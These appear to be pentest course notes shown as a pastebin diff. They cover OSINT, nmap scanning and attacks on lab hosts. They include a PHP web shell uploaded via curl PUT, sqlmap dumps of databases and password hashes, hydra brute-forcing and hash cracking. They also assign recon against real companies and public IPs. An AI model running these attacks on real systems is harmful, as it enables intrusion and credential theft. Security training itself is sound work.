View difference between Paste ID: amsAEjH7 and 4rdG7v78

 ########################################################
 # CyberWar: Advanced Offensive Cyber Operations        #
 # By Joe McCray of Strategic Security                  #
 ########################################################
 
 
 
 #########################
 # Class Virtual Machine #
 #########################
 
 
 Here is the VMWare virtual machine for the class:
 
-https://s3.amazonaws.com/infosecaddictsvirtualmachines/InfoSecAddictsVM.zip
+https://infosecaddictsfiles.blob.core.windows.net/vms/InfoSecAddictsVM.zip
 user:      infosecaddicts
 pass:      infosecaddicts
 
 
 
 
 
 ################
 # Day 1: OSINT #
 ################
 OK - it's time to get rollin!!!!!! I know that you are probably ready to scan the entire planet but I want you to do some Open Source Intelligence (OSINT) first.
 
 Here is an an OSINT report that I did for a customer of mine a few years ago:
-https://s3.amazonaws.com/infosecaddictsfiles/OSINT_Innophos_11242010.doc
+https://infosecaddictsfiles.blob.core.windows.net/files/OSINT_Innophos_11242010.doc
 
 Let's see if you can do a better one than me....
 
 
 Here are a few places to start:
 
 - Wikipedia Page
     - Are they Public or Private?
     - Does the target have any subsidiaries?
     - Who are the key people
 
 - Robtex
     - Show system map
     - Are they behind a CDN
 
 - Netcraft
     - http://toolbar.netcraft.com/site_report
     - Are they using a Loadbalancer like F5 BigIP, or Citrix NetScaler
 
 - Passive Recon (Firefox Add-on)
   Download it from: https://addons.mozilla.org/en-US/firefox/addon/passiverecon/
 
 
 
 
 Your first task:
 ----------------
 Use the OSINT_Innophos doc as a reference and perform/document an OSINT assessment against any one of the following companies:
 NSA
 HSBC
 Coke
 Exxon Mobil
 KPMG
 Accenture
 NewYork-Presbyterian Hospital
 Kroger
 Dillard's
 Royal Caribbean International
 
 
 
 Tools that are good for OSINT:
 ------------------------------
 Here are some tools that I think you should consider using for this challenge:
 FOCA
 Maltego
 Search Diggity
 ShodanHQ
 PassiveRecon
 EDGAR
 theHarvester
 gxfr.py
 VisualRoute
 
 
 
 
 
 ********************************** Begin Day 1 Homework Part 1 **********************************
 NOTE: Creating this OSINT Report IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 
 You must create a MS WORD document titled 'FirstName-LastName-Cyberwar-Day1-OSINT-Report.docx' (ex: Joseph-McCray-CyberWar-Day1-OSINT-Report.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST.
 
 
 ********************************** End Day 1 Homework Part 1 **********************************
 
 
 
 
 Email Harvesting
 ----------------
 
 cd ~/toolz/
 
 rm -rf theharvester-read-only/
 
 sudo apt install -y python-pyasn1 python-pyasn1-modules
      infosecaddicts
 
 git clone https://github.com/laramies/theHarvester.git
 
 cd theHarvester/
 
 python theHarvester.py
 
 python theHarvester.py -d motorola.com -l 50 -b google
 
 python theHarvester.py -d motorola.com -l 50 -b bing
 
 python theHarvester.py -d motorola.com -l 50 -b linkedin
 
 python theHarvester.py -d motorola.com -l 50 -b pgp
 
 
 
 
 
 File Meta-Data Harvesting
 -------------------------
 cd ~/toolz/
 
 sudo apt install -y python-pip
      infosecaddicts
 
 sudo pip install google
      infosecaddicts
 
 git clone https://github.com/opsdisk/metagoofil.git
 
 cd metagoofil/
 
 
 python metagoofil.py -d motorola.com -t doc,pdf -l 100 -n 3 -o motorolafiles
 
 sudo apt install -y libimage-exiftool-perl
 
 exiftool -r *.doc | egrep -i "Author|Creator|Email|Producer|Template" | sort -u
 
 
 
 
 
 python metagoofil.py -d [domain name] -t doc,pdf -l 100 -n 3 -o motorolafiles
 Whereas:
 
 -d : I used another domain name aside from Google.com to make it work
 -t : I asked for the program to search two types of public documents whuch are doc and pdf files
 -l : I limited the search result to 100 to make the process faster
 -n : I limited the downloads (files that are going to be downloaded to get their metadatas extracted) to only 3 to make the process faster
 -o : I directed the result of the compilation t motorolafiles, which is a file located inside the metagoofil directory (~/toolz/metagoofil/motorolafiles)
 -f : Save the html links to html_links_<TIMESTAMP>.txt file
 
 
 
 
 
 
 Github Info Harvesting
 ----------------------
 cd ~/toolz/
 
 sudo pip install gitem
 	infosecaddicts
 
 gitem organization facebook
 
 
 gitem repository facebook react
 
 
 gitem --processes 4 user zpao
      ** This should give you a rate limit error. You need to create an OAuth token like my example below
 
 gitem -o xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx --processes 4 user zpao
 
 
 Github Access Token Creation Reference:
 https://help.github.com/articles/creating-an-access-token-for-command-line-use/
 
 
 Network Topology Enumeration (NOTE: This tool may not work anymore due to changes at BING)
 ------------------------------------------------------------------------------------------
 
 cd ~/toolz/
 
 wget https://raw.githubusercontent.com/leonteale/pentestpackage/master/gxfr.py
 
 python gxfr.py --bxfr --dns-lookup -o
 	motorola.com
 	[ press enter ]
 	cw1kxyUgMdkECBNMb1fGqKJ9sC1lznaR20fPJeIt45Y=
 
 ------------------------------------------------------------------------------------------
 
 
 cd ~/toolz/
 
 rm -rf fierce2/
 
 git clone https://github.com/mschwager/fierce.git
 
 cd fierce
 
 sudo apt install -y python3-pip
 	infosecaddicts
 
 sudo pip3 install -r requirements.txt
 
 python3 fierce.py -h
 
 python3 fierce.py --domain motorola.com --subdomains accounts admin ads
 Traverse IPs near discovered domains to search for contiguous blocks with the --traverse flag:
 
 python3 fierce.py --domain facebook.com --subdomains accounts --traverse 10
 
 
 Limit nearby IP traversal to certain domains with the --search flag:
 
 python3 fierce.py --domain facebook.com --subdomains admin --search fb.com fb.net
 
 
 Attempt an HTTP connection on domains discovered with the --connect flag:
 
 python3 fierce.py --domain stackoverflow.com --subdomains mail --connect
 
 
 
 
 
 
 Recon-NG (Metasploit for Recon):
 --------------------------------
 cd ~/toolz/
 
 sudo apt install -y git python-pip python-dnspython python-mechanize python-slowaes python-xlsxwriter python-jsonrpclib python-lxml
 	infosecaddicts
 
 sudo pip install dicttoxml
 	infosecaddicts
 
 
 
 git clone https://LaNMaSteR53@bitbucket.org/LaNMaSteR53/recon-ng.git
 cd recon-ng
 ./recon-ng
 
 
 
 At the prompt, let's type help in order to look at the commands we can use in Recon-ng.
 
 recon-ng > help
 
 
 Note that many of these commands are nearly identical to Metasploit including back, set, use, search, show, and unset.
 
 recon-ng > [ TAB ] [ TAB ]
 
 
 
 To see all the modules in Recon-ng, we can type:
 
 recon-ng > show [ TAB ] [ TAB ]
 
 
 
 Ok, let's drive this thing....
 
 recon-ng > show banner
 
 recon-ng > show companies
 
 recon-ng > show contacts
 
 recon-ng > show credentials
 
 recon-ng > show dashboard
 
 recon-ng > show domains
 
 recon-ng > show hosts
 
 recon-ng > show keys
 
 recon-ng > show leaks
 
 recon-ng > show locations
 
 recon-ng > show modules
 
 recon-ng > show netblocks
 
 recon-ng > show options
 
 recon-ng > show ports
 
 recon-ng > show profiles
 
 recon-ng > show pushpins
 
 recon-ng > show repositories
 
 recon-ng > show schema
 
 recon-ng > show vulnerabilities
 
 recon-ng > show workspaces
 
 
 
 
 
 When you have found a module that you would like to try the process is fairly straight forward.
 
 Type, “use [Modulename]” to use the module
 
 Type, “show info” to view information about the module
 
 And then, “show options” to see what variables can be set
 
 Set the option variables with “set [variable]”
 
 Finally, type “run” to execute the module
 
 
 
 
 
 
 ********************************** Begin Day 1 Homework Part 2 **********************************
 NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 
 You must take screenshots of the process of you registering at least 5 API keys, as well as screenshots of you using at least 10 Recon-NG modules against a target company.
 
 
 You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day1-Recon-NG.docx' (ex: Joseph-McCray-Cyberwar-Day1-Recon-NG.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 
 Reference links:
 http://null-byte.wonderhowto.com/how-to/hack-like-pro-reconnaissance-with-recon-ng-part-1-getting-started-0169854/
 http://resources.infosecinstitute.com/basic-updated-guide-to-recon-ng-plus-new-modules-rundown/
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com and gayane@strategicsec.com) by Sunday May 21st at midnight EST.
 
 ********************************** End Day 1 Homework Part 2 **********************************
 
 
 
 
 
 
 
 
 
 ############################
 # Day 2: Advanced Scanning #
 ############################
 Today will be heavily focused on scanning. We're going to scan, then scan again, and then scan some more. When we are doing scanning - we are going to scan some more....
 
 
 
 
 ########################
 # Scanning Methodology #
 ########################
 
 - Ping Sweep
 What's alive?
 ------------
 sudo nmap -sP 157.166.226.*
      infosecaddicts
 
     -if -SP yields no results try:
 
 sudo nmap -sL 157.166.226.*
      infosecaddicts
 
 sudo nmap -sL 157.166.226.* | grep com
      infosecaddicts
 
 - Port Scan
 What's where?
 ------------
 sudo nmap -sS 162.243.126.247
      infosecaddicts
 
 
 - Bannergrab/Version Query
 What versions of software are running
 -------------------------------------
 sudo nmap -sV 162.243.126.247
      infosecaddicts
 
 
 - Vulnerability Research
 Lookup the banner versions for public exploits
 ----------------------------------------------
 http://exploit-db.com
 http://securityfocus.com/bid
 https://packetstormsecurity.com/files/tags/exploit/
 
 Example lookup for this scan would be:
 https://web.nvd.nist.gov/view/vuln/search-results?query=nginx&search_type=all&cves=on
 
 
 
 
 
 NOTE:
 Gereon, gave us a nice tip today about using IPTables ConnTrack:
 iptables -I INPUT -m state -p icmp --echo-type echo-reply -j ACCEPT --state RELATED
 
 His point was that if you only accept echo-reply by related/state related all of the bogus answers will be dropped as the TTL decrement will be out of whack.
 
 You can see this point with another tool. I'll get you the syntax later today.
 
 
 
 #######################################################
 # Day 2: 3rd Party Scanning, and scanning via proxies #
 #######################################################
 
 https://www.shodan.io/
 
     Create a FREE account and login
 
     net:129.188.8.0/24
 
 
 
 
 
 Scanning via Tor/proxychains
 ----------------------------
 sudo apt install -y tor proxychains ntpdate
 
 sudo vi /etc/proxychains.conf				<--- Make sure that last line of the file is: Socks4  127.0.0.1 9050
 
 sudo ntpdate pool.ntp.org
 	infosecaddicts
 
 tor-resolve room362.com
 
 proxychains nmap -sT -p80 162.243.126.247
 
 proxychains nmap -sT -PN -n -sV -p 21,22,23,25,80,110,139,443,445,1433,1521,3306,3389,8080,10000 162.243.126.247
 
 
 
 
 
 
 
 ------------------------------------------------------
 cd ~/toolz
 git clone https://github.com/sensepost/glypeahead.git
 cd glypeahead/
 vi config.php
 
 ****make the following change****
 'proxies'       =>      array(
                 'https://branon.co.uk/glype/desktop-free/index.php',		<--- line 40
                 'http://ricardoalcala.com/index.php',
         )
 
 
 php glypeahead config.php
 
 
 
 
 #########################
 # Playing with Nmap NSE #
 #########################
 
 nmap -Pn -p80 --script ip-geolocation-* infosecaddicts.com
 
 nmap -p80 --script dns-brute infosecaddicts.com
 
 nmap --script http-robtex-reverse-ip secore.info
 
 nmap -Pn -p80 --script=http-headers infosecaddicts.com
 
 
 ls /usr/share/nmap/scripts | grep http
 nmap -Pn -p80 --script=http-* infosecaddicts.com
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 ###################################
 # Day 2: Scanning the lab network #
 ###################################
 
 -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
 Let's have you connect to the VPN. I wanted to make sure that I did some of the stuff on my local virtual machines because I want you to do the hunting for vulnerable hosts to attack.
 If I attack the live targets in the lab then I'll end up giving away a lot of the little secrets that I want you to discover.
 
 So, let's start with some lab fun (just a little bit)...lol. Here are the instructions for connecting to the VPN:
-https://s3.amazonaws.com/infosecaddictsfiles/Strategic-Security-2017-VPN-Info.pdf
+https://infosecaddictsfiles.blob.core.windows.net/files/Strategic-Security-2017-VPN-Info.pdf
 vpn username: {first_initial.last_name}  example: j.mccray
 vpn password: vpnVPN1234!@#$
 
 
 sudo nmap -sP 10.0.0.0/24
      infosecaddicts
 
 
 sudo nmap -sL 10.0.0.0/24
      infosecaddicts
 
 cd ~/toolz
 
 wget --no-check-certificate https://raw.githubusercontent.com/BenDrysdale/ipcrawl/master/ipcrawl.c
 
 gcc ipcrawl.c -o ipcrawl
 
 chmod 777 ipcrawl
 
 ./ipcrawl 10.0.0.1 10.0.0.254
 
 
 
 wget --no-check-certificate https://dl.packetstormsecurity.net/UNIX/scanners/propecia.c
 
 gcc propecia.c -o propecia
 
 sudo cp propecia /bin
      infosecaddicts
 
 propecia 10.0.0 22
 
 propecia 10.0.0 3389
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | grep open
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2 " " $3}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' | wc -l
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}'
 
 nmap -Pn -sV -T 5 -oG - -p 21,22,80,443,1433,3389 10.0.0.* | awk '/open/{print $2}' > ~/labnet-ip-list.txt
 
 cat ~/labnet-ip-list.txt
 
 #################################################
 # Screenshotting the Web Servers in the Network #
 #################################################
 cd ~/toolz/
 mkdir labscreenshots
 cd labscreenshots/
 
 
 wget http://download.gna.org/wkhtmltopdf/0.12/0.12.4/wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
 tar xf wkhtmltox-0.12.4_linux-generic-amd64.tar.xz
 cd wkhtmltox/bin/
 sudo cp wkhtmltoimage /usr/local/bin/wkhtmltoimage-i386
 
 
 cd ~/toolz/
 git clone git://github.com/SpiderLabs/Nmap-Tools.git
 cd Nmap-Tools/NSE/
 
 sudo cp http-screenshot.nse /usr/share/nmap/scripts/
      infosecaddicts
 
 sudo nmap --script-updatedb
      infosecaddicts
 
 
 cd ~/toolz/labscreenshots/
 sudo nmap -Pn -T 5 -p 80 -A --script=http-screenshot 10.0.0.0/24 -iL /home/infosecaddicts/labnet-ip-list.txt
      infosecaddicts
 
 
 
 
 vi screenshots.sh
 
 #!/bin/bash
 printf "<HTML><BODY><BR>" > labnet-port-80-screenshots.html
 ls -1 *.png | awk -F : '{ print $1":"$2"\n<BR><IMG SRC=\""$1"%3A"$2"\" width=400><BR><BR>"}' >> labnet-port-80-screenshots.html
 printf "</BODY></HTML>" >> labnet-port-80-screenshots.html
 
 
 
 
 
 sh screenshots.sh
 
 
 python -m SimpleHTTPServer
 
 
 --- Now browse to the IP of your Linux machine on port 8000 (http://192.168.200.157:8000/labnet-port-80-screenshots.html):
 http://Ubuntu-VM-IP:8000/labnet-port-80-screenshots.html
 
 
 
 
 ##########################
 # Nmap NSE tricks to try #
 ##########################
 sudo nmap -Pn -n --open -p21 --script=banner,ftp-anon,ftp-bounce,ftp-proftpd-backdoor,ftp-vsftpd-backdoor 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p22 --script=sshv1,ssh2-enum-algos 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n -sU --open -p53 --script=dns-blacklist,dns-cache-snoop,dns-nsec-enum,dns-nsid,dns-random-srcport,dns-random-txid,dns-recursion,dns-service-discovery,dns-update,dns-zeustracker,dns-zone-transfer 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p111 --script=nfs-ls,nfs-showmount,nfs-statfs,rpcinfo 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p445 --script=msrpc-enum,smb-enum-domains,smb-enum-groups,smb-enum-processes,smb-enum-sessions,smb-enum-shares,smb-enum-users,smb-mbenum,smb-os-discovery,smb-security-mode,smb-server-stats,smb-system-info,smbv2-enabled,stuxnet-detect 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p1433 --script=ms-sql-dump-hashes,ms-sql-empty-password,ms-sql-info 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p1521 --script=oracle-sid-brute --script oracle-enum-users --script-args oracle-enum-users.sid=ORCL,userdb=orausers.txt 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p3306 --script=mysql-databases,mysql-empty-password,mysql-info,mysql-users,mysql-variables 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p3389 --script=rdp-vuln-ms12-020,rdp-enum-encryption 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p5900 --script=realvnc-auth-bypass,vnc-info 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p6000-6005 --script=x11-access 10.0.0.0/24
      infosecaddicts
 
 sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
      infosecaddicts
 
 
 sudo nmap -sV -oA nse --script-args=unsafe=1 --script-args=unsafe  --script "auth,brute,discovery,exploit,external,fuzzer,intrusive,malware,safe,version,vuln and not(http-slowloris or http-brute or http-enum or http-form-fuzzer)" 10.0.0.0/24
      infosecaddicts
 
 
 #####################################
 # Writing Your Own Nmap NSE Scripts #
 #####################################
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 -- The Rule Section --
 portrule = function(host, port)
     return port.protocol == "tcp"
             and port.number == 80
             and port.state == "open"
 end
 
 -- The Action Section --
 action = function(host, port)
     return "CyberWar!"
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 
 -- The Rule Section --
 portrule = shortport.http
 
 
 -- The Action Section --
 action = function(host, port)
     return "CyberWar!"
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse infosecaddicts.com -p 22,80,443
 
 
 
 
 
 
 
 OK, now let's have some fun with my buddy Carlos Perez's website which you should have been looking at quite a lot if you were trying to get Ruby 2.1.5 working last year.
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
     return response.status
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
 
     if ( response.status == 200 ) then
         return response.body
     end
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 local string = require "string"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
 
     if ( response.status == 200 ) then
         local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
         return title
     end
 
 end
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 
 
 
 
 ----------------------------------------------------------------------
 sudo vi /usr/share/nmap/scripts/intro-nse.nse
 
 -- The Head Section --
 local shortport = require "shortport"
 local http = require "http"
 local string = require "string"
 
 -- The Rule Section --
 portrule = shortport.http
 
 -- The Action Section --
 action = function(host, port)
 
     local uri = "/installing-metasploit-in-ubunt/"
     local response = http.get(host, port, uri)
 
     if ( response.status == 200 ) then
         local title = string.match(response.body, "Installing Metasploit in Ubuntu and Debian")
 
         if (title) then
             return "Vulnerable"
         else
             return "Not Vulnerable"
         end
     end
 end
 
 ----------------------------------------------------------------------
 
 - Ok, now that we've made that change let's run the script
 sudo nmap --script=/usr/share/nmap/scripts/intro-nse.nse darkoperator.com -p 22,80,443
 
 
 
 ********************************** Begin Day 2 Homework Part 1 **********************************
 NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 You must take screenshots of you performing all of the scanning tasks that we have done so far today
 
 You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day2-Adv-Scanning.docx' (ex: Joseph-McCray-CyberWar-Day2-Adv-Scanning.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST.
 
 ********************************** End Day 2 Homework Part 1 **********************************
 
 
 
 
 
 
 ##########
 # Day 3: #
 ##########
 Today I gave the students access to a folder in my Google Drive that allowed the students to share data and they also joined https://chat.strategicsec.com/channel/cyberwar so they can communicate with each other.
 
 The goal for today is for the class to attack 10.0.0.14 together and see what they can learn.
 
 
 
 #######################
 # Attacking 10.0.0.14 #
 #######################
 
 Step 1: Nmap Scan
 
 sudo nmap -sV -Pn 10.0.0.14
 
 
 
 Step 2: Nikto Scan
 
 cd ~/toolz
 rm -rf nikto/
 sudo apt install -y nikto
 nikto -h 10.0.0.14
 
 
 Step 3: Directory Bruteforce
 https://sourceforge.net/projects/dirbuster/
 
 
 
 Step 4: Enumerate Server options (confirm nikto results)
 
 curl -vX OPTIONS 10.0.0.14/test
 mkdir webshellz
 cd webshellz/
 vi cmd.php
 
 ---------------------------------------------
 <HTML><BODY>
 <FORM METHOD="GET" NAME="myform" ACTION="">
 <INPUT TYPE="text" NAME="cmd">
 <INPUT TYPE="submit" VALUE="Send">
 </FORM>
 <pre>
 <?
 if($_GET['cmd']) {
   system($_GET['cmd']);
   }
 ?>
 </pre>
 </BODY></HTML>
 ---------------------------------------------
 
 
 
 curl -vX PUT -d "$(cat cmd.php)" 10.0.0.14/test/cmd.php
 
 
 
 
 Now use your web browser to browse to page:
 http://10.0.0.14/test/cmd.php
 
 
 Enter the following commands:
 /sbin/ifconfig
 pwd
 id
 uname -a
 cat /etc/passwd
 
 
 
 Figure out how to root this box!!!!!!!!!!!!!!!!
 
 
 
 ######################
 # Attacking 10.0.0.5 #
 ######################
 
 Step 1: Nmap Scan
 
 sudo nmap -sV -Pn 10.0.0.5
 
 
 
 Step 2: Nikto Scan
 
 cd ~/toolz
 
 perl nikto.pl -h 10.0.0.5
 
 cd /home/infosecaddicts/toolz/sqlmap-dev
 
 python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 -s ./scan_report_pgsql.txt -t ./scan_trace_pgsql.txt --skip-urlencode
 
 
 Security Issue 1: Directory Browsing
 ------------------------------------
 http://10.0.0.5/bin/
 
 Browse to this URL in your web browser.
 
 
 You may want to go for a hail mary and decompile the DLL files with something like JetPack: https://www.jetbrains.com/decompiler/ but don't get your hopes up.
 
 
 Attacking 10.0.0.5 with SQLMap
 ------------------------------
 cd /home/infosecaddicts/toolz/sqlmap-dev
 python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode
 
 cd /home/infosecaddicts/.sqlmap/output/10.0.0.5
 ls
 
 cd ~/toolz/sqlmap-dev/
 python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs
 
 python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user
 
 python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --passwords
 
 python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --current-db --tables
 
 python sqlmap.py -u http://10.0.0.5/Vulnerable.ashx --data='{"username":"*","method":"list"}' -v1 --os=Linux --level=5 --risk=3 --skip-urlencode --dbs --current-user --current-db --tables --dump
 
 
 
 ################################
 # Attacking Big Data Solutions #
 ################################
 
 propecia 10.0.0 27017
 
 
 sudo nmap -Pn -n --open -p27017 --script=mongodb-databases,mongodb-info 10.0.0.0/24
      infosecaddicts
 
 
 
 
 Big Data is quite the buzzword in our industry and MongoDB is one of the more popular Big Data solutions on the market.
 There are others like CouchDB, and Cassandra, but for right now let's play with MongoDB.
 
 One of the huge red flags with MongoDB is that its default configuration it has no user authentication, and no permissions.
 
 
 
 sudo apt install -y git python-setuptools
 
 cd ~/toolz
 
 mkdir arsenal
 
 cd arsenal
 
 git clone https://github.com/tcstool/nosqlmap.git
 
 cd nosqlmap
 
 sudo python setup.py install
      infosecaddicts
 
 python nosqlmap.py
 1
 
 1					(set options)
 	10.0.0.8			(set target IP)
 
 
 7	<your IP>			(set attacker host ip)
 
 
 x					(back to main menu)
 
 2					(DB access attack option)
 
 
 1					(Get server info)
 
 
 2					(Enumerate Databases/Collections/Users)
 
 
 3					(Check for GridFS)
 					GridFS is a specification for storing and retrieving files that exceed the BSON-document size limit of 16MB. Instead of storing a file in a single document, GridFS divides a file into parts, or chunks [1], and stores each chunk as a separate document
 
 
 
 
 
 Other attack options such as clone a database will require you to have a local copy of MongoDB installed, and the Metasploit attack is for too old of a version ( < 2.2.4 ).
 
 
 
 
 ********************************** Begin Day 3 Homework Part 1 **********************************
 NOTE: THIS IS AN ABSOLUTE REQUIREMENT FOR YOUR CPE CREDITS
 
 You must take screenshots of you performing all of the scanning tasks that we have done so far today
 
 You must create a MS WORD document titled 'FirstName-LastName-Pentester-CyberWar-Day3.docx' (ex: Joseph-McCray-CyberWar-Day3.docx).
 
 You must spell you name EXACTLY as you want it spelled on your class certificate.
 
 IMPORTANT NOTE:
 Your homework must be submitted via email to both (joe@strategicsec.com) by Sunday May 21st at midnight EST.
 
 ********************************** End Day 3 Homework Part 1 **********************************
 
 
 
 ##########
 # Day 4: #
 ##########
 
 
 
 ######################
 # Attacking 10.0.0.7 #
 ######################
 
 Step 1: Nmap Scan
 sudo nmap -Pn -sV -T 5 10.0.0.7
 
 
 Step 2: Open a browswer
 Point your browser to http://10.0.0.7/
 
 
 Step 3: Download the picture in the website:
 wget http://10.0.0.7/main.gif
 exiftool main.gif
 
 
 Step 4: What's the password
 
 Point your browser to http://10.0.0.7/kzMb5nVYJw/ and then view source.
 
 From there you'll see that it tells you that the password is a simple one.
 
 
 cd ~/toolz/
 echo dbo >> list.txt
 echo sa >> list.txt
 echo admin >> list.txt
 echo root >> list.txt
 echo password >> list.txt
 echo pass >> list.txt
 echo hello >> list.txt
 echo goodbye >> list.txt
 echo test >> list.txt
 echo admin >> list.txt
 echo elite >> list.txt
 echo db >> list.txt
 echo god >> list.txt
 echo 123 >> list.txt
 echo letmein >> list.txt
 echo omega >> list.txt
 
 
 
 hydra -l none -P list.txt 10.0.0.7 http-post-form "/kzMb5nVYJw/index.php:key=^PASS^:invalid key"
 
 
 cd ~/toolz/sqlmap-dev/
 
 python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a --dbs
 
 
 python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql --tables
 
 python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql -T user --columns
 
 python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D mysql -T user -C User,Password --dump
 
 python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D phpmyadmin --tables
 
 python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth
 
 python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth -T users --columns
 
 python sqlmap.py -u http://10.0.0.7/kzMb5nVYJw/420search.php?usrtosearch=a -D seth -T users -C id,user,pass --dump
 
 cat /home/infosecaddicts/.sqlmap/output/10.0.0.7/dump/seth/users.csv
 
 cd toolz/
 
 
 
 We can look this password hash up on Crackstation.net https://crackstation.net/ - ok that didn't work. Maybe it's in Base64. Let's try to decode it.
 
 
 
 Decoding the base64 value gives us the actual hash. (Note I add a “=” to the string so that base64 can properly decode it)
 
 echo "YzZkNmJkN2ViZjgwNmY0M2M3NmFjYzM2ODE3MDNiODE=" | base64 -d
 
 echo "c6d6bd7ebf806f43c76acc3681703b81" > hash.txt
 
 
 
 
 We can look up this password hash "c6d6bd7ebf806f43c76acc3681703b81" on Crackstation.net https://crackstation.net/
 
 Ok - that worked. The password is "omega", but if you want to do it with hashcat we can do the following steps:
 
 
 sudo apt install -y nvidia-opencl-icd-340 libxnvctrl-dev nvidia-opencl-dev libgmp3-dev libgmp10-doc opencl-headers
 
 wget http://registrationcenter-download.intel.com/akdlm/irc_nas/9019/opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
 
 tar -zxvf opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25.tgz
 
 sudo ./opencl_runtime_16.1.1_x64_ubuntu_6.4.0.25/install.sh
 
 hashcat --benchmark
 
 
